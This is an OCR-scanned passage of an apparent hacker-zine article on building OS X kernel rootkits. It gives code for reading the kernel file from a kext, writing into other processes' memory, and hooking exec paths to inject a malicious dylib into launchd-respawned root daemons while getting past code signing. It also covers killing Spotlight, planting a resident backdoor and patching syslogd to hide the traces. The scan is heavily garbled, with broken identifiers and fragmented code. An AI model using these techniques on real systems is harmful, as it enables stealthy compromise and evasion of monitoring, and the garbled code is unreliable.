- struct filedesc: defined at bsd/sys/filedesc.h, represents the open files 
in a process. 
— struct fileproc: defined at bsd/sys/file_internal.h, represents each open 
file. 
- struct fileglob: defined at bsd/sys/file_internal.h, contains all the 
information associated to a file, including vnode and supported filesystem 
operations. 

— struct vnode: defined at bsd/sys/vnode_internal.h. 


Detailed references about the design and implementation can be found at 
[20], [14] and [13]. 


----[ 3.2 - The easy way - Apple loves rootkit authors! 
The first piece of information that we need is the vnode of the target 


file we want to read. We already seen in section 2.4 that this information 
is available in proc_t structure but we can follow an easier path! 


One suitable function is vnode_lookup() (available in BSD KPI). It is 
defined at bsd/vfs/vfs_subr.c in XNU source code, and well documented 
at bsd/sys/vnode.h include: 


[es 

@function vnode_lookup 

@abstract Convert a path into a vwnode. 

@discussion This routine is a thin wrapper around xnu-internal lookup 
routines; if successful, it returns with an iocount held on the resulting 
vnode which must be dropped with vnode_put(). 

@param path Path to look up. 

@param flags VNODE_LOOKUP_NOFOLLOW: do not follow symbolic links. 
VNODE_LOOKUP_NOCROSSMOUNT: do not cross mount points. 
@return Results 0 for success or an error code. 

*/ 


errno_t vnode_lookup(const char *, int, vnode_t *, vfs_context_t); 


Os es | 


The arguments are the path for the target file, search flags, a vnode_t 
pointer for output and the vfs context for the current thread (or kernel 
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context). 


The vfs context can be obtained using the function vfs_context_current () 
but it is only available in the Unsupported KPI - subject to whatever 
Apple wants to do with it so not stable enough for our purposes. In 
practice the vfs context is not a problem because Apple (or BSD’s 
original code) took good care of us. Let me show you why with kernel’s 
implementation of vnode_lookup(): 


errno_t 
vnode_lookup(const char *path, int flags, vnode_t *vpp, vfs_context_t ctx) 
{ 

struct nameidata nd; 

int error; 

u_int32_t ndflags = 0; 


if (ctx == NULL) { /* XXX technically an error */ 
ctx = vfs_context_current(); // <- thank you! :-) 


Apple’s love means that we just need a simple operation to retrieve 
kernel’s vnode: 


#include <sys/vnode.h> 

int error = 0; 

vnode_t kernel_vnode = NULLVP; 

rror = vnode_lookup("/mach_kernel", 0, &kernel_vnode, NULL); 


One important detail is that vnode_lookup() will increase the iocount on 
the target vnode (in case you missed above note from vnode_lookup). We 
must release it using vnode_put() when we do not need it anymore (after 
reading or writing what we want). This function is also available in 

the BSD KPI. 


Having kernel’s vnode information we can finally read its contents from 
the rootkit. To do that we can use the VNOP_READ() function - documented 
and declared at bsd/sys/vnode_if.h. 


/*! 
@function VNOP_READ 
@abstract Call down to a filesystem to read file data. 

@discussion VNOP_READ() is where the hard work of of the read() system 
call happens. The filesystem may use the buffer cache, the cluster layer, 
or an alternative method to get its data; uio routines will be used to see 
that data is copied to the correct virtual address in the correct address 
space and will update its uio argument to indicate how much data has been 
moved. 

@param vp The vnode to read from. 

@param uio Description of request, including file offset, amount of data 
requested, destination address for data, and whether that destination is in 
kernel or user space. 

@param ctx Context against which to authenticate read request. 

@return 0 for success or a filesystem-specific error. VNOP_READ() can 
return success even if less data was read than originally requested; 
returning an error value should indicate that something actually went 
wrong. 

if 


extern errno_t VNOP_READ (vnode_t, struct uio *, int, vfs_context_t); 


The last missing piece is an uio structure. To create that buffer we 
can use three other functions: uio_create(), uio_createwithbuffer () 
and uio_addiov(). 


Two are available in BSD KPIs - uio_create and uio_addiov. The other 
one, uio_createwithbuffer is private extern and used by uio_create. We 
can rip its implementation into our rootkit code from XNU source file 
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bsd/kern/kern_subr.c. 
(never modified in all 


latest OS X versions). 


It’s simple and stable enough to make this possible 


Once again we can pass NULL to the ctx argument 
care of it for us as in vnode_lookup(). 


the implementation takes 


An example how to create the required structure to hold a 4kbytes page: 
char data_buffer[PAGE_SIZE_64]; 

uio_t uio = NULL; 

uio = uio_create(l1, 0, UIO_SYSSPACE, UIO_READ) ; 

error = uio_addiov(uio, CAST_USER_ADDR_T(data_buffer), PAGE_SIZE_ 64); 
The sam xample using uio_createwithbuffer: 

char data_buffer[PAGE_SIZE_64]; 

uio_t uio = NULL; 

char uio_buf [UIO_SIZEOF (1) ]; 

uio = uio_createwithbuffer(l1, 0, UIO_SYSSPACE, UIO_READ, é&uio_buf[0], 


sizeof (uio_buf)); 
error uio_addiov(uio, 


First create the uio buffer, and then add it else 


The data buffer can be a statically allocated buffer 


dynamically allocated using _MALLOC () 


Having the uio buffer created the last step is to 


error = VNOP_READ (kernel_vode, uio, 0, NULL); 


If successful, 


/mach_kernel OS X kernel read into data_buffer. 


CAST_USER_ADDR_T (data_buffer), 


the buffer will contain the first page 


PAG 


E SIZE 64); 


it can’t be used. 
(as above) or 


or other available kernel variant. 


xecute th ad: 


E 


(4096 bytes) of 


A good implementation reference of this process is the kernel function 


dqfileopen() [bsd/vfs/vfs_quota.c]. 


—----[ 3.3 - The more complex way 


his second approach was in fact how I started to 
nd before I learnt about vnode_lookup(). It is a 


nformation are the interesting bits here. 


Its biggest inconvenience is that it requires th 


xplor 
good backup method 


this problem 


HE 
a 
but the learning experience and some techniques used to obtain some 
i 


VNOP_LOOKUP () . 
same functionality as vnode_lookup () 
or directory. 


[*4 
@function VNOP_LOOKUP 


unexported symbol 


This function requires diferent arguments but has the 
- to lookup the vnode of a fil 
Documentation can be found at bsd/sys/vnode_if.h. 


S 


@abstract Call down to a filesystem to look for a directory entry by name. 
@discussion VNOP_LOOKUP is the key pathway through which VFS asks a 


filesystem to find a file. 


be dropped by the caller. A VNOP_LOOKUP () 


preceding VNOP_OPEN(). 
@param dvp Directory in which to look up file. 
@param vpp Destination for found vnode. 


@param 
various 
@param 


cnp Structure describing filename to find, 
other data. 


ctx Context against which to authenticate 


The vnode should be returned with an iocount to 
calldown can come without a 


reason for lookup, and 


lookup request. 


@return 0 for success or a filesystem-specific error. 


x 

ifdef XNU_KERNEL _ 
extern errno_t VNO 
vfs_context_t); 
endif /* XNU_K 


PRIVATE 
P_LOOKUP (vnode_t, 


vnode_t *, 


ERN 


EL PRIVATE */ 


struct componentname *, 
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The first argument is the vnode of the directory where the target fil 
is located. It is a kind of a chicken and egg problem because we do not 
have that information - we want it! Do not fear, this information can 
be extracted from somewhere else. As previously described, the proc 
structure contains the field p_fd - pointer to open files structure 
(struct filedesc). 


The filedesc structure has two interesting fields for our purposes: 


1) fd_ofiles - an array of file structures for open files. 
2) fd_cdir —- vnode structure of current directory. 


There is also fd_rdir, which is the vnode of root directory but from my 
tests it is usually NULL. 


W 7 


The proc structure is a doubly-linked list - we can "walk" around it and 
retrieve information of any process. In OS X, the kernel is just another 
Mach task with PID 0 and a corresponding proc entry before Leopard 

we could access kernel task via task_for_pid(0), which allowed DKOM 
(direct kernel object manipulation). The mach_kernel file is located at 
the root directory /. 


The proposed procedure is to traverse the proc structure and find pid 0 
(field p_pid). When found, the field fd_cdir will contain what we need - 
the vnode for the root directory. 


Next problem: how to access the proc structure. There is a symbol called 
allproc that contains a pointer to it but it is not exported anymore. We 
need an alternative way! Two solutions: complicated and straightforward. 


Recalling what was already described in section 2.4. Kernel’s 
implementation of syscall functions has a struct proc * as first 
parameter. Using open() as example: 


open(struct proc *p, struct open_args *uap, int *retval) 


What we can do is to temporarily (or not) hijack a syscall via sysent 
table and get a reference to any proc_t. Since it is a doubly-linked 
list we can traverse it and find PID 0. When found we can extract the 
vnode pointer for current directory and that is it. 


[The kernel does not keep /mach_kernel open so the field fd_ofiles is 
not useful. Luckly for us the fd_cdir is populated with the information 
we need vnode of root directory /. 


The kernel knowledgeable reader knows there is no need for all this 
mess to retrieve a proc_t structure. There is a BSD KPI function that 
solves the problem with a single call, proc_find(). Its prototype is: 
proc_t proc_find(int pid) 


Kernel is just another task with PID 0, so just execute proc_find(0) 
and get the required structure pointer. This will increase the referenc 
count and must be released using proc_rele(). Very easy, right? :-) 


Once again we need a vfs context and this time we need to supply it. While 
researching I used a hardcoded function pointer to vfs_context_current () 
but there is a better function that I found out while writing this 
section. It is vfs_context_create(), available in BSD KPI. 


{*} 

@function vfs_context_create 

@abstract Create a new vfs_context_t with appropriate references held. 

@discussion The context must be released with vfs_context_rele() when no 
longer in use. 

@param ctx Context to copy, or NULL to use information from running 
thread. 

@return The new context, or NULL in the event of failure. 


x) 
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vfs_context_t vfs_context_create (vfs_context_t); 
We can use this function to create a new context and pass it to 


VNOP_LOOKUP(). The next step is to create a struct componentname 
[bsd/sys/vnode.h]. 


struct componentname { 
// Arguments to lookup. 


WINES? cn_nameiop; /* lookup operation */ 

uint32_t cn_flags; /* flags (see below) */ 

void *cn_reservedl; /* use vfs_context_t */ 

void *cn_reserved2; /* use vfs_context_t */ 

// Shared between lookup and commit routines. 

char *cn_pnbuf; /* pathname buffer */ 

int cn_pnlen; /* length of allocated buffer */ 
char *cn_nameptr; /* pointer to looked up name */ 
int cn_namelen; /* length of looked up component */ 
UPERES 2 cn_hash; /* hash value of looked up name */ 
uint32_t cn_consume; /* chars to consume in lookup() */ 


}; 
A small example to lookup /mach_kernel: 


struct componentname cnp; 
char tmpname[] = "mach_kernel"; 
bzero(&cnp, sizeof(cnp)); 


np.cn_nameiop = LOOKUP; 

np.cn_flags = ISLASTCN; 

np.cn_reservedl = vfs_context_create (NULL) ; 
np.cn_pnbuf = tmpname; 
np.cn_pnien = sizeof (tmpname) ; 

np.cn_nameptr = cnp.cn_pnbuf; 

np.cn_namelen (int) strlen(tmpname); // <- add NULL ? 


qgaaaqaaaaa 


Now we are ready to call VNOP_LOOKUP() and use the returned vnode 
information to execute VNOP_READ() as in section 3.1 (do not forget to 
create first the UIO buffer). 


Last but not least, there is another function we can (ab)use to read files 
—- vn_rdwr(). It was this function that triggered my curiosity about this 
process while reading about the execution flow of a Mach-O binary. The 
parameters it requires can be retrieved or created with the techniques 
above described or others you might come up with. Feel free to implement 
it and discover alternative ways to read the files (there are more!). 


Writing is not harder than reading. Just browse the source files mentioned 
in this section and the functions you need will be obvious. You can 
apply the techniques here described to fill the required parameters. 


----[ 3.4 - Solving kernel symbols 


Snare on his blog post [5] explains in detail how to solve the kernel 
symbols. The only difference is that instead of reading directly from 
kernel memory we have the information in temporary buffers with data 
read from the filesystem. 


The proposed workflow is: 


1) Read the first page of /mach_kernel, which contains the Mach-O header. 
2) Process the Mach-O header and retrieve the following information: 
— From __TEXT segment: vmaddr field (for ASLR slide computation). 
—- From __LINKEDIT segment: fileoff and filesize (so we can read the 
segment). 
— From LC_SYMTAB command: symoff, nsyms, stroff, strsize. 
Refer to [10] for more information about Mach-O file format. 
3) Allocate buffer and read the whole __LINKEDIT segment. 


7.txt Wed Apr 26 09:43:48 2017 16 


4) Solve any required symbol by processing the __LINKEDIT buffer using the 
LC_SYMTAB collected information (offsets to symbol and string tables). 

5) Do not forget to add the kernel ASLR slide to the addresses. Slide can 
be computed by the difference between running __TEXT vmaddr and the one 


read from disk. 


There is no need to read the whole mach_kernel file into kernel space, 
we just need the headers and __LINKEDIT segment, around 1MB, smaller 
than the 7.8MB of Mountain Lion 10.8.2 full kernel. Kernel memory is at 
a premium :-) 


--[ 4 - Executing userland binaries from the kernel 


This section describes a technique to execute userland processes 

from a kernel extension (not tested but should also be valid from 

TOKit drivers). For this purpose wowie and ghalen used the KUNC API 
(Kernel-User Notification Center), a straightforward interface to execut 
userland executables. One problem with KUNC is that the required symbols 
a 
ac 
d 
( 


re provided by the Unsupported KPI and Apple has the following note: 

he Kernel-User Notification Center APIs are not available to KEXTs that 
clare dependencies on the sustainable kernel programming interfaces 
KPIs) introduced in OS X v10.4. 


Having different ways to accomplish a given goal is more fun and 

improves knowledge, which is this paper’s main goal. The technique to be 
presented is probably not the most efficient one but it is a good learning 
experience about playing with kernel and how everything is implemented. 


----[ 4.1 - Writing from kernel memory into userland processes 


The first step is to find a way to write to userland process addresses 
from a kernel extension. In userland there is the mach_vm_write() function 
(or older vm_write()) to write to any arbitrary process, assuming we 

have the right permissions to do so (task_for_pid() is our friend). 


Its prototype is: 


kern_return_t mach_vm_write(vm_map_t target_task, 
mach_vm_address_t address, vm_offset_t data, 
mach_msg_type_number_t dataCnt); 


If you look at the definition of the task structure (a void* at proc 
structure but defined at osfmk/kern/task.h) you can find the first 
parameter to mach_vm_write in the "map" field. The remaining parameters 
are the target address, the data buffer to write and its size. 


Do not forget that we need first to use mach_vm_protect (or vm_protect) 
to change memory protections if trying to write to the read-only 
segments/sections. 

The problem with this approach is that it does not work! 

The memory protection is changed but mach_vm_write() does not modify the 
target address. The answer is that if called like this we are trying 

to write data from kernel space directly to the userland space, which 
should (obviously!) fail. Remember we need to use copyin/copyout to 

copy between the two spaces. 


We need another solution and I will present not one but two, both easy 
to use. Thanks go to snare for giving me some initial sample code from 
his own research. 


The first solution uses three functions, vm_map_copyin(), 
vm_map_copyout(), and mach_vm_copy(). You can read their description at 
osfmk/vm/vm_map.c and vm_user.c in XNU sources. 


vm_map_copyin creates an object from a given address located in a given 
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map that we can insert into another address space. This assures the 
correct transition between kernel and user virtual memory spaces. 


The vm_map_copyout() function copies the object into the target map, 
aka, our target process. We need the vm_map_t info for kernel and target 
process — both can be found by iterating proc list or proc_find(), 


as previously described. 


There is one important detail about vm_map_copyout! It injects the object 
"into newly-allocated space in the destination map". What this means is 
that we are just copying the data into a new memory address at the user 
process and not at the target address we want. Let me show you with an 
example of what happens using that command: 


char *fname = "nemo_and_snare_rule!"; 
kern_return_t kr = 0; 
vm_map_address_t dst_addr; 


kr = vm_map_copyin(kernel_task->map, (vm_map_address_t) fname, 
strlen(fname)+1, FALSE, &copy); 
kr = vm_map_copyout (task->map, &dst_addr, copy); 


dst_addr will contain the value 0Oxllfa000 (target was a 32 bits process). 
Dumping the process memory: 


sh-3.2# ./readmem -p 121 -a 0x11fa000 -s 32 
[ Readmem v0.4 —- (c) £G! ] 


Memory protection: rw-/rwx 


Oxllfa000 6e 65 6d 6f 5f 61 6e 64 5f 73 6e 61 72 65 5f 72 nemo_and_snare_r 


At this point we need to copy the contents to the target address we 
want to. This can be achieved using mach_vm_copy() - a function that 
copies one memory region to another within the same task. The address 
where the data was copied to can be found at the second parameter of 
vm_map_copyout (). 


It must be noticed that the first two functions are available as 
Private KPIs and mach_vm_copy() is not exported (I cheated in above’s 
example). Not a big problem since we can easily solve the symbols. 


The sample code to write to the Mach-O header of a 32 bits, no ASLR 
binary could be something like this: 


// get proc_t structure and task pointers 
struct proc *p = proc_find(PID); 
struct proc *p_kernel = proc_find(0); 


struct task *task = (struct task*) (p->task) ; 
struct task *kernel_task = (struct task*) (p_kernel->task) ; 
kern_return_t kr = 0; 


vm_prot_t new_prot = VM_PROT_WRITE | VM_PROT_READ; 
kr = mach_vm_protect ((vm_map_t)task->map, 0x1000, len, FALSE, new_prot); 


vm_map_copy_t copy; 
char *fname = "nemo_and_snare_rule!"; 
vm_map_address_t dst_addr; 


// create a vm_map_copy_t object so we can insert it at userland process 
kr = vm_map_copyin(kernel_task->map, (vm_map_address_t) fname, 
strlen(fname)+1l, FALSE, &copy); 


// copy the object to userland, this will allocate a new space into target 
// map 

kr = vm_map_copyout ((vm_map_t)task->map, &dst_addr, copy); 

printf ("wrote to userland address 0x%l1lx\n", CAST_USER_ADDR_T(dst_addr) ); 
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// and now we can use mach_vm_copy() because it copies data within the same 
// task 

kr = mach_vm_copy((vm_map_t)task->map, CAST_USER_ADDR_T(dst_addr), 
strlen(fname)+1, 0x1000); 

// velease references created with proc_find() - must be always done! 
proc_rele(p); 

proc_rele(p_kernel); 


To deallocate that new allocated space in userland vm_map_remove () 
is a good candidate: 


/* 
* vm_map_remove: 
* Remove the given address range from the target map. 
* This is the exported form of vm_map_delete. 
*/ 
xtern kern_return_t 
vm_map_remove (vm_map_t map, 
vm_map_offset_t start, 
vm_map_offset_t end, 
boolean_t flags); 


An easy alternative is to just zero those bytes and assume that space 
as a small memory leak. It works and it is not a big deal. 


The second solution requires a single function and has no 
memory allocation at the target process. We are talking about 
V 

t 


m_map_write_user(): "Copy out data from a kernel space into space in 
he destination map. The space must already exist in the destination map." 


The prototype: 

kern_return_t 

vm_map_write_user(vm_map_t map, void *src_p, vm_map_address_t dst_addr, 
vm_size_t size); 


Where map is the vm_map_t of the target process, and src_p the kernel data 
buffer we want to write to the process. The previous example using this 
function: 

struct proc *p = proc_find(PID); 


struct task *task = (struct task*) (p->task) ; 
kern_return_t kr = 0; 

vm_prot_t new_protection = VM_PROT_WRITE | VM_PROT_READ; 
char *fname = "nemo_and_snare_rule!"; 


// modify memory permissions 
kr = mach_vm_protect (task->map, 0x1000, len, FALSE, new_protection) ; 
kr = vm_map_write_user(task->map, fname, 0x1000, strlen(fname) +1); 
proc_rele(p); 


This alternative is easier and does not allocate new memory at the target. 
Do not forget to restore the original memory permissions. 


After so many words you are probably asking why not use copyout to copy 
from kernel to userland? Well, of course it is possible but there is 

a problem. It can’t be used to overwrite to arbitrary processes - only 
against the current process. Even if we try to change the current map to 
another process using vm_map_switch(), copyout will always retrieve the 
current process so copyout will fail with EFAULT if we try an address 

of another process that does not exists in current. This means that it 
can be used, for example, inside a hooked syscall but not to write to 
arbitrary processes. 


----[ 4.2 - Abusing (again!) dyld to inject and run code 

Most of the time hacking is about abusing features or lack-of. This 
time we are going to piggyback on dyld and launchd. Poor bastards! 

The idea is that launchd will restart our target process and dyld will 
be responsible for executing our code. I used the dyld approach in 
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OS.X/Boubou PoC described at [12] and [34], so why not again? It is easy 
to implement and works very well. 


The core of this idea is to emulate the DYLD_INSERT_LIBRARIES (equivalent 
to LD_PRELOAD for those coming from ELF Unix world) when a new process 

is created. The library will be responsible for executing whatever 

we want to. In this case we want to modify the Mach-O header befor 
passing control to dyld. When dyld gains control (it is dyld who passes 
control to target’s entrypoint not the kernel) it will read the header 
from target’s memory and process it. This presents an opportunity to 
successfully modify and inject the Mach-O header. 


[The presentations at Secuinside [11] and HitCon [12] discuss the Mach-O 
header details and injection process. This is valid for dynamically 
linked executables, wher xecution will start at the dynamic linker 
(/usr/lib/dyld) and then continue at the executable entry point. 


Launchd is the perfect target because it can automatically respawn daemons 
and agents, at root or user privilege level. The idea is to kill a daemon, 
intercept the respawn and inject the library we want to b xecuted. Th 
privilege level we want to execute at depends on the target daemon. 


What we need is to find a good place to intercept the respawn of the 
target process and modify its memory before control is passed to dyld. 


A simplified version of the binary execution process, adapted from [13] is: 
execve() -> __mac_execve () 


V 
exec_activate_image () 


V 
Read file 


WV: 
27777 > exec_mach_imgact() -> run dyld -> target entry point 


V 
load_machfile() 


V 
parse_machfile() [maps the load commands into memory] 
V 
load_dylinker () [sets image entrypoint to dyld] 
V 


Chapter 7 of [14] and Chapter 13 of [13] thoroughly describe th xecution 
process in case you are interested in every detail. 


The above diagram presents many places where we can modify the new process 
memory and its Mach-O header. As previously mentioned, when dyld gains 
control it will parse again the Mach-O header so our modification is 
guaranteed to be used if made before dyld’s control. 


We can confirm this by looking at dyld source code [15]: 


// Entry point for dyld. The kernel loads dyld and jumps to __dyld_start 
// which sets up some registers and call this function. 


// 

// Returns address of main() in target program which __dyld_start jumps to 
// 

uintptr_t 

_main(const macho_header* mainExecutableMH, uintptr_t mainExecutableSlide, 
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int argc, const char* argv[], const char* envp[], 
const char* apple[], uintptr_t* startGlue) 


One curious detail (without any practical application I can foresee 
now) is that dyld does not validate the header the magic value can 

be modified to anything and dyld will happily continue its work. Kernel 
data can be trusted, right? 


----[ 4.3 - Finding the place to execute the injection 


With theory in place it is finally time to move to practice! We need 
to find one or more places where we can modify the target process memory 
and inject our dynamic library. 


The kernel has no symbol stubs so we can’t just modify a pointer and 
hijack a useful function. One solution is to inline hook the function 
prologue and make it jump to our function. We can simplify this by 
implementing the whole original function (copy from XNU source into our 
rootkit); this way we do not need to return back to the original one, 
just restore the original bytes when we finish our evil work. 


A good starting point to look for candidate functions is 
exec_mach_imgact(). The reason why is that when it returns control 

to dyld everything required to execute the new process is set (kernel 
side). As much as possible near its end is best. 


After exploring exec_mach_imgact, I found a good candidate at 
task_set_dyld_info(). It is called twice, one before the image is loaded 
into memory, and another after the image is loaded. Clearly, the former 
does not interest us so we need to distinguish between each case. This 
function is only used at exec_mach_imgact(). 


Looking at its code in osfmk/kern/task.c: 


void 
task_set_dyld_info(task_t task, mach_vm_address_t addr, 
mach_vm_size_t size) 
{ 
task_lock (task); 


task->all_image_info_addr = addr; 
task->all_image_info_size = size; 
task_unlock (task) ; 


} 


The locks calls are nothing else than macros using a symbol available in 
KPIs: 


define task_lock (task) lck_mtx_lock (& (task) -—>lock) 
define task_unlock (task) lck_mtx_unlock (& (task) ->lock) 


It is a great candidate - we can copy & paste its code into our 

rootkit source, add our code to inject the library and then execute 

the original function code. Because it is not a static function we can 
find its symbol. The first parameter is a task_t structure, which has 

a pointer to the correspondent proc_t structure (remember that proc and 
task structures are connected to each other via void pointers). 


The proposed workflow could be: 


) Find task_set_dyld_info() address. 

) Patch prologue to jump to our function. 

) Execute our function to inject library. 

) Restore original bytes from 2). 

) Execution continues, our library is executed by dyld. 


OB WNEFR 


The only problem with this function is here at exec_mach_imgact (): 


7.txt Wed Apr 26 09:43:48 2017 21 
/* 


* Remember file name for accounting. 
x 
p->p_acflag &= ~AFORK; 
/* If the translated name isn’t NULL, then we want to use 
* that translated name as the name we show as the "real" name. 
* Otherwise, use the name passed into exec. 
ay 
if (0 != imgp->ip_p_comm[0]) { 
bcopy ((caddr_t)imgp->ip_p_comm, (caddr_t)p->p_comm, 
sizeof (p->p_comm) ) ; 
} else { 
if (imgp->ip_ndp->ni_cnd.cn_namelen > MAXCOMLEN) 
imgp->ip_ndp->ni_cnd.cn_namelen = MAXCOMLEN; 
bcopy ((caddr_t) imgp->ip_ndp->ni_cnd.cn_nameptr, (caddr_t)p->p_comm, 
(unsigned) imgp->ip_ndp->ni_cnd.cn_namelen) ; 
p->p_comm[imgp->ip_ndp->ni_cnd.cn_namelen] = ’\0’; 


} 


The process name in proc_t structure is only set after the second call 

to task_set_dyld_info(), so we can’t use it to detect which process 

is going to be executed and trigger or not our injection (remember we 

are only interested in a specific process to be executed by launchd). A 
workaround to this problem is to lookup the open files structure in proc_t 
(p_fd field). 


An alternative solution is to use another function! There is 

an even better one near th nd of exec_mach_imgact() called 
proc_resetregister(). The advantage of being near th nd is that we can 
change a lot more things (kernel completed most of its tasks related to 
new process execution), opening way for some cute tricks. 


Its implementation is also very simple [bsd/kern/kern_proc.c]: 


void proc_resetregister(proc_t p) 
{ 
proc_lock (p); 
p->p_lflag &= ~P_LREGISTER; 
proc_unlock (p); 


} 


The lock/unlock here are implemented as functions instead of macros and 
not exported. We can simply define the macros or change our code to 

use lck_mtx_*. This time we have a proc_t structure and can use the 
p_comm field to find our target(s) (or proc_name() to get the name of 

a given pid). Perfect spot! 


With a location where to execute our modifications we can proceed to 
the last step, modify the target Mach-O header. 


—----[ 4.4 Ideas are great, execution is everything 


Assuming that our hijacked function is proc_resetregister(), we can 
extract all the information we will need from the proc_t parameter. Let’s 
proceed with this. 


The number of binaries that use ASLR is increasing so the first step is to 
find at which memory address is the binary loaded (the Mach-O header to be 
more specific). The ASLR slide is generated inside load_machfile() and not 
set in a struct/var or returned. One way to solve the problem is to take a 
peak at the virtual memory map (vmap) of the target process. The following 
does the job (assuming we are inside our own proc_resetregister()): 


struct task *task = (struct task*)p->task; 
mach_vm_address_t start_address = task->map->hdr.links.start; 


Start contains the lower address of the process, which is where the 
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Mach-O header is located at. This *appears* to hold always true (there 
are good reasons to believe it!). 


To modify the Mach-O header of the target process we need to parse 

the header to find fr space where we can add the new LC_LOAD_DYLIB 
command. The necessary free space is common - most binaries have enough 
slack space between the last command and first code/data. 


The header can be retrieved from the user space with vm_map_read_user () 
or copyin (because here we ar xecuting in current proc context). 
After we have found the free space and the full Mach-O header is in our 
buffer, we just need to add a new LC_LOAD_DYLIB command. 


The two below diagrams show what needs to be done at the Mach-O header: 


HEADER <- Fix this struct: 


}; 


Command n 


Command ntl <- add new command here: 
‘ | struct dylib_command { 
uint32_t cmd; 
Data uint32_t cmdsize; 
P struct dylib dylib; 
Section 1 }; 
SO ia aril --- struct dylib { 
Section 2 union lc_str name; 


uint32_t timestamp; 
i uint32_t current_version; 
Section 1 uint32_t compatibility_version,; 


2. (ssessr= Se5- he 
Section 2 union lc_str { 
| uant32_t offset; 
ifndef _LP64__ // not used 
char *ptr; 
endif 


}; 


A diff between original and modified: 


HEADER HEADER <- Fix this struct 


struct mach_header { 
Load Commands uint32_t magic; 
: cpu_type_t cputype; 
Command 1 cpu_subtype_t cpusubtype; 
WINES? —C filetype; 
Command 2 uint32_t nemds; <- add +1 
WAIHES 2. sizeofcmds; < t= size of new cmd 
uint32_t flags; 


struct mach_header { 
Load Commands Load Commands sec 
= ‘: F uint32_t nemds; <- fix 
Command 1 Command 1 uint32_t sizeofcmds;<- fix 
Command 2 Command 2 }; 
Command n Command n 
: | | | | 
—---> Command ntl <- add new command here 
> : | struct dylib_command { 
> uint32_t cmd; 
Data ----> Data uint32_t cmdsize; 
>|) A struct dylib dylib; 
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Section 1 ----> Section 1 }; 
1 |------- aaa- 1 |------- ---- 
Section 2 Section 2 
% | \ 
Section 1 Section 1 
2 |------- ---- 2 |------- ---- 
Section 2 Section 2 
N | N 


There are other methods to inject the library if there is not enough 
space. One that requires only 24 bytes is described at [16]. 

This approach has one interesting advantage - it is not detectable by code 
Signing because the injection occurs after its checks and flags are set. 
This is the code that sets the flags: 


/* 
* Set code-signing flags if this binary is signed, or if parent has 
* requested them on exec. 
af 

if (load_result.csflags & CS_VALID) { 

imgp->ip_csflags |= load_result.csflags & 
(CS_VALID | 
CS_HARD|CS_KILL|CS_EXEC_SET_HARD|CS_EXEC_SET_KILL) ; 


} else f{ 
imgp->ip_csflags &= ~CS_VALID; 


} 


if (p->p_csflags & CS_EXEC_SET_HARD) 
imgp->ip_csflags |= CS_HARD; 
if (p->p_csflags & CS_EXEC_SET_KILL) 
imgp->ip_csflags |= CS_KILL; 
The code snippet is from exec_mach_imgact() and located well before our 


two candidate functions described in section 4.3. Code signing does not 
kill immediately the process. The flags are verified later anda kill 
signal sent if code signing was configured to exit on failure (which we 
can also modify here). 


The only puzzle piece left is which process should we use and how to kill 
it. There are many root processes controlled by launchd so it is just 

a matter of selecting one with invisible and/or small impact. Spotlight 
is for example a good candidate. A code snippet to do the killing: 


proc_t victim = proc_find(TARGET_PID) ; 

if (victim != PROC_NULL) 

{ 
// we need to release reference count from proc_find() before kill 
proc_rele(kill); 
// now we can kill the process or use SIGSEV coz’ Spotlight crashes, 
// vight? :-) 
psignal (kill, SIGKILL); 


} 


When launchd respawns the process, we can intercept it at 
exec_mach_imgact() and do our magic. The rest is responsibility of the 
dynamic library. 


----[ 4.5 - The dynamic library 


The dynamic library is very easy to create if you use the Xcode templat 
(oh the drama, hackers use Makefiles!) or just Google for a simple 
Makefile. 
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To execute the library code you can add an entrypoint via a constructor: 


extern void init(void) __attribute__ ((constructor)); 
void init (void) 
{ 
// do evil stuff here 
} 


init will be executed as soon as the library is loaded. Another way 
could be by modifying the injected process symbol stub and redirect 

to an entrypoint function inside the library. While the symbol stub 
modification could be made from the kernel, we do not know yet where 
library will be loaded so it is harder to execute this. For example, it 
could be delayed by hijacking a syscall, wait for its execution and then 
modify a symbol. The downside is more time for detection as explained 

in next section. Honestly I have not thought much about this case. 


To execute commands from the library it is just a matter of fork’ing 
and exec’ ing whatever command we need. We can also create a new thread 
(or multiple) to leave a resident backdoor and so on. Or just execute 
the command we need and clean up ourselves to leave no traces. 


It is up to you and your particular requirements and imagination :-). 


----[ 4.6 - Hiding our tracks 


By principle, a rootkit should be as stealth as possible - we need to 
cover our tracks to the maximum possibl xtent. Let me discuss a few 
problems and potential solutions with the previously described approaches. 


The first one is that we need to restart a target process. This will 
leave an immediate clue on a (potentially very) higher PID, depending 
when the method is used (near startup it is ok). 


Another clue is that we are sending a signal to the target process 

and syslogd will capture it. Instead of a kill we could send a SIGSEGV 
(Apple’s software has bugs, right?), or just temporarily memory patch 
syslogd daemon to avoid logging our little trick. Different possibilities 
to solve this problem! 


The SIGSEGV is particularly interesting since the resulting crash dump 
has no useful information and it only leaves this log trail: 


12/21/12 3:27:13.093 AM com.apple.launchd[1]: (com.apple.metadata.mds [277] ) 
Job appears to have crashed: Segmentation fault: 11 


Patching (temporarily or not) syslogd is rather easy to accomplish. Looking 
at Apple’s syslogd source we can find the following function in 
syslogd/daemon.c: 


void process_message(aslmsg msg, uint32_t source) 
Near the end it has this code: 


/* send message to output modules */ 
asl_out_message (msg) ; 
if (global.bsd_out_enabled) bsd_out_message (msg) ; 


The asl_out_message() appears to be the interesting place to patch. To 
quickly test this theory we can attach gdb to syslogd (warning, ASLR 
enabled), and patch that function. We need to search the function address 
because there are no debug symbols available. 


Let’s look at its implementation: 


void asl_out_message(aslmsg msg) 


{ 
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dispatch_flush_continuation_cache(); 
asl_msg_retain((asl_msg_t *)msg); 
dispatch_async(asl_action_queue, “*{ 
_asl_action_message (msg) ; 
asl_msg_release((asl_msg_t *)msg); 
})i 


aS 


There are two external symbols, dispatch_flush_continuation_cache() 

and asl_msg_retain(). The former has only a reference and the latter 
two. To find the location of asl_out_message() we just need to find out 
the proc_t for syslogd process, read and process its symbol table (we 
can read from memory or filesystem), correct for ASLR slide, and find 
the address of the stub. Since this is not IDA we can’t easily find the 
cross-references (oh, IDA spoils us). 


What we can do is search in the binary the calls to the symbol stub 
(it is a relative offset call). Even easier (and probably faster) 
i 
iB 


s to disassemble and match the address of the call with the stub - 
he disassembler will output the final address. 


After we have the address where dispatch_flush_continuation_cache() is 
called from we just need to find the function prologue and patch it with 
a ret (function return is void so no need for xor eax,rax). We can then 


restore the original byte after w xecute our command. Another function, 
bsd_out_message() might need to be patched, but I leave that task to you, 
the reader. 


Another alternative is to try to recycle the PID that was killed. The 
forkproc() function is the one that allocates the new PID for the 

child. Might be interesting to research and explore this alternative. You 
